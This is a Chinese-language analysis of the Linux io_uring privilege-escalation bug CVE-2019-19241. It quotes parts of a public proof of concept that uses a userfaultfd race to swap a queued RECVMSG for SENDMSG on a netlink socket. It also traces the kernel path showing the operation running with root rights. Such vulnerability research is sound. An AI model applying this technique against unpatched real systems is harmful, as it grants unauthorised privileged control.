linux "io_uring" 提权漏洞(CVE-2019-19241)分析

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“io_uring” 是Linux在5.1版本开始添加的异步IO机制,5.3 版本的内核添加了sendmsg的支持,没有考虑到权限的问题,可能导致权限提升。

 

前置知识

IO_uring 简介

io_uring 可以参考这篇文章), 写的很不错, Linux 上的异步IO的实现一直是一个问题,aio和epoll等都存在各种各样的不足,在Linux 5.1 版本中引入了一个新的异步IO框架io_uring

主要的代码在下面几个文件

fs/io_uring.c

fs/io-wq.c

fs/io_uring.c

添加了三个新的系统调用

425        io_uring_setup
426        io_uring_enter
427        io_uring_register

io_uring_setup 会返回一个文件描述符fd, 后续都是用这个fd来做操作。

io_uring 涉及几个内存,盗一张图:

用户提交数据到sq_ring,然后内核处理完成之后,会把完成的状态写入到 cq_ring里面,用户在cq_ring就可以找到io的完成状态。

 

poc 分析

漏洞是在commit 0fa03c624d8f ("io_uring: add support for sendmsg()", first in v5.3)引入的,它添加了一个 io_sendmsg 方法, 对应的opcode 是IORING_OP_SENDMSG 9

我们拷贝一下Jannh的poc), 我的测试环境是在ubuntu 1804 上,测试内核用 linux 5.4 版本。

编译的时候可能会报错,可能是找不到系统调用号,在poc开始添加下面两行。把linux的include/uapi/linux/io_uring.h文件拷贝过来,然后把#include <linux/io_uring.h> 换成#include "io_uring.h" 就可以了

#define SYS_io_uring_setup 425 
#define SYS_io_uring_enter 426

poc 运行之后会添加一个inet 地址,这个是需要root权限才能操作的。

首先调用io_uring_enter创建一个fd, 并把内存映射好

struct io_uring_params params = { };                                                                 int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, &params));                         unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));                                                                                 unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));                                                                                 sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));

然后用 userfaultfd 监听 iov 这一块内存

iov = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0));  
struct uffdio_register reg = {                                
    .mode = UFFDIO_REGISTER_MODE_MISSING,                       
    .range = { .start = (unsigned long)iov, .len = 0x1000 }     
  };

它会在 内存被读写的时候吧opcode改成IORING_OP_SENDMSG(9)

static void *uffd_thread(void *dummy) {                           
  struct uffd_msg msg;                                            
  int res = SYSCHK(read(uffd, &msg, sizeof(msg)));                
  if (res != sizeof(msg)) errx(1, "uffd read");                   
  printf("got userfaultfd messagen");                            

  sqes[0].opcode = IORING_OP_SENDMSG;                             

  union {                                                         
    struct iovec iov;                                             
    char pad[0x1000];                                             
  } vec = {                                                       
    .iov = real_iov                                               
  };                                                              
  struct uffdio_copy copy = {                                     
    .dst = (unsigned long)iov,                                    
    .src = (unsigned long)&vec,                                   
    .len = 0x1000                                                 
  };                                                              
  SYSCHK(ioctl(uffd, UFFDIO_COPY, &copy));                        
  return NULL;                                                    
}

然后创建了一个netlink 的socket,用来对netlink路由做操作,传入的opcode是IORING_OP_RECVMSG (10), 调用SYS_io_uring_enter 提交到submission queue

int sock = SYSCHK(socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE));
sqes[0] = (struct io_uring_sqe) {           
  .opcode = IORING_OP_RECVMSG,              
  .fd = sock,                               
  .addr = (unsigned long)&msg               
};   
int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));

okay 我们跟一下代码,看看具体发生了什么,SYS_io_uring_setup 主要是创建io_uring的fd,可以先不看。

主要看SYS_io_uring_enter系统调用,内核中函数实现是io_uring_enter,我们设置了to_submit=1以及flags=IORING_ENTER_GETEVENTS, 会进入下面两个判断

    } else if (to_submit) {
        to_submit = min(to_submit, ctx->sq_entries);

        mutex_lock(&ctx->uring_lock);
        submitted = io_ring_submit(ctx, to_submit);
        mutex_unlock(&ctx->uring_lock);
    }
    if (flags & IORING_ENTER_GETEVENTS) {
        unsigned nr_events = 0;

        min_complete = min(min_complete, ctx->cq_entries);

        if (ctx->flags & IORING_SETUP_IOPOLL) {
            ret = io_iopoll_check(ctx, &nr_events, min_complete);
        } else {
            ret = io_cqring_wait(ctx, min_complete, sig, sigsz);
        }
    }

`IORING_ENTER_GETEVENTS主要是获取完成的状态写入cq_ring,主要看io_ring_submit 函数,它调用链如下

io_ring_submit
    - io_submit_sqe
        - io_queue_sqe
            - __io_queue_sqe
                - __io_submit_sqe
                - io_sq_wq_submit_work

进入__io_queue_sqe 会调用__io_submit_sqe

static int __io_queue_sqe(struct io_ring_ctx *ctx, struct io_kiocb *req,
            struct sqe_submit *s)
{
    int ret;

    ret = __io_submit_sqe(ctx, req, s, true);

__io_submit_sqe 根据不同的opcode选择不同的执行路径,因为我们一开始传入的是IORING_OP_RECVMSG 所以会进入io_recvmsg 函数, force_nonblock 是设置成true

static int __io_submit_sqe(struct io_ring_ctx *ctx, struct io_kiocb *req,
               const struct sqe_submit *s, bool force_nonblock)
    //...
    case IORING_OP_SENDMSG:
        ret = io_sendmsg(req, s->sqe, force_nonblock);
        break;
    case IORING_OP_RECVMSG:
        ret = io_recvmsg(req, s->sqe, force_nonblock);
        break;

io_recvmsg调用链如下

io_recvmsg
    - io_send_recvmsg
        - __sys_recvmsg_sock
            - ___sys_recvmsg

首先是io_send_recvmsg,因为force_nonblock为true, flags会加上MSG_DONTWAIT标识,接着调用__sys_recvmsg_sock

    if (unlikely(req->ctx->flags & IORING_SETUP_IOPOLL))
        return -EINVAL;

    sock = sock_from_file(req->file, &ret);
    if (sock) {
        struct user_msghdr __user *msg;
        unsigned flags;

        flags = READ_ONCE(sqe->msg_flags);
        if (flags & MSG_DONTWAIT)
            req->flags |= REQ_F_NOWAIT;
        else if (force_nonblock)
            flags |= MSG_DONTWAIT;//<--

        msg = (struct user_msghdr __user *) (unsigned long)
            READ_ONCE(sqe->addr);

        ret = fn(sock, msg, flags);

___sys_recvmsg是在用户进程上下文调用的,函数执行过程中会获取userfaultfd 绑定的iov内存的内容, 这个时候opcode就被改成了IORING_OP_SENDMSG 了,函数继续执行

    /* kernel mode address */
    struct sockaddr_storage addr;

    /* user mode address pointers */
    struct sockaddr __user *uaddr;
    int __user *uaddr_len = COMPAT_NAMELEN(msg);

    msg_sys->msg_name = &addr;

    if (MSG_CMSG_COMPAT & flags)
        err = get_compat_msghdr(msg_sys, msg_compat, &uaddr, &iov);
    else
        err = copy_msghdr_from_user(msg_sys, msg, &uaddr, &iov); //<-------iov 读取
    if (err < 0)
        return err;
//.....
    if (sock->file->f_flags & O_NONBLOCK)
        flags |= MSG_DONTWAIT;
    err = (nosec ? sock_recvmsg_nosec : sock_recvmsg)(sock, msg_sys, flags);
    if (err < 0)
        goto out_freeiov;
    len = err;

因为recvmsg 并没有设置要非阻塞,函数返回到__io_queue_sqe 之后会继续执行,进入下面判断

     */
    if (ret == -EAGAIN && (!(req->flags & REQ_F_NOWAIT) ||
        (req->flags & REQ_F_MUST_PUNT))) {
        struct io_uring_sqe *sqe_copy;

        sqe_copy = kmemdup(s->sqe, sizeof(*sqe_copy), GFP_KERNEL);
        if (sqe_copy) {
            struct async_list *list;

            s->sqe = sqe_copy;
            memcpy(&req->submit, s, sizeof(*s));
            list = io_async_list_from_sqe(ctx, s->sqe);
            if (!io_add_to_prev_work(list, req)) {
                if (list)
                    atomic_inc(&list->cnt);
                INIT_WORK(&req->work, io_sq_wq_submit_work);
                io_queue_async_work(ctx, req);
            }

            return 0;
        }

它启动一个内核线程,函数实现在io_sq_wq_submit_work里,这里会再次调用__io_submit_sqe 函数,设置force_nonblock为false, 需要注意这里是处在内核线程的上下文中,对应的是root权限

    do {
        struct sqe_submit *s = &req->submit;
        const struct io_uring_sqe *sqe = s->sqe;
        unsigned int flags = req->flags;

        /* Ensure we clear previously set non-block flag */
        req->rw.ki_flags &= ~IOCB_NOWAIT;

        ret = 0;
        if (io_sqe_needs_user(sqe) && !cur_mm) {
            if (!mmget_not_zero(ctx->sqo_mm)) {
                ret = -EFAULT;
            } else {
                cur_mm = ctx->sqo_mm;
                use_mm(cur_mm);
                old_fs = get_fs();
                set_fs(USER_DS);
            }
        }

        if (!ret) {
            s->has_user = cur_mm != NULL;
            s->needs_lock = true;
            do {
                ret = __io_submit_sqe(ctx, req, s, false);
                if (ret != -EAGAIN)
                    break;
                cond_resched();
            } while (1);

因为之前opcode已经被改成IORING_OP_SENDMSG, 所以这一次在内核线程调用io_sendmsg,因为我们的socket是AF_NETLINK类型,和io_recvmsg类似,会调用___sys_sendmsg,然后根据sock->ops->sendmsg来调用AF_NETLINK相关的函数

    if (used_address && msg_sys->msg_name &&
        used_address->name_len == msg_sys->msg_namelen &&
        !memcmp(&used_address->name, msg_sys->msg_name,
            used_address->name_len)) {
        err = sock_sendmsg_nosec(sock, msg_sys);
        goto out_freectl;
    }
    err = sock_sendmsg(sock, msg_sys);
//...........
static inline int sock_sendmsg_nosec(struct socket *sock, struct msghdr *msg)
{
    int ret = INDIRECT_CALL_INET(sock->ops->sendmsg, inet6_sendmsg,
                     inet_sendmsg, sock, msg,
                     msg_data_left(msg));
    BUG_ON(ret == -EIOCBQUEUED);
    return ret;
}

具体的sock->ops 如下,最后会调用netlink_sendmsg

netlink_sendmsgnet/netlink/af_netlink.c 中, 因为我们传进去的msg_namelen 不为0,所以会进入下面的判断

if (msg->msg_namelen) {
        err = -EINVAL;
        if (msg->msg_namelen < sizeof(struct sockaddr_nl))
            goto out;
        if (addr->nl_family != AF_NETLINK)
            goto out;
        dst_portid = addr->nl_pid;
        dst_group = ffs(addr->nl_groups);
        err =  -EPERM;
        if ((dst_group || dst_portid) &&
            !netlink_allowed(sock, NL_CFG_F_NONROOT_SEND))
            goto out;
        netlink_skb_flags |= NETLINK_SKB_DST;
    } else {
        dst_portid = nlk->dst_portid;

netlink_allowed 函数做权限的校验,因为这里是内核线程的上下文,所以默认是root权限,可以通过检查,于是就到了我们一开始的添加一个inet ip 的部分了。

static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
    return (nl_table[sock->sk->sk_protocol].flags & flag) ||
        ns_capable(sock_net(sock->sk)->user_ns, CAP_NET_ADMIN);
}

整理一下

  • 1) io_uring_enter 调用 io_recvmsg
  • 2) 触发 userfaultfd 更改 opcode 为IORING_OP_SENDMSG
  • 3) io_recvmsg 失败,__io_submit_sqe 启动内核线程io_sq_wq_submit_work
  • 4) 内核线程调用io_sendmsg, 执行netlink 操作(root 权限)

 

总结

整体来看这个漏洞还是比较简单的,就是注意权限的管理就行。”io_uring” Linux的一个新生的异步io框架,目前还是在不断的发展中的,版本之间的代码都会做很多的更改,这也可能可以作为后续漏洞研究的点。

 

reference

https://bugs.chromium.org/p/project-zero/issues/detail?id=1959

https://www.byteisland.com/io_uring%EF%BC%881%EF%BC%89-%E6%88%91%E4%BB%AC%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BC%9A%E9%9C%80%E8%A6%81-io_uring/)

https://zhuanlan.zhihu.com/p/62682475

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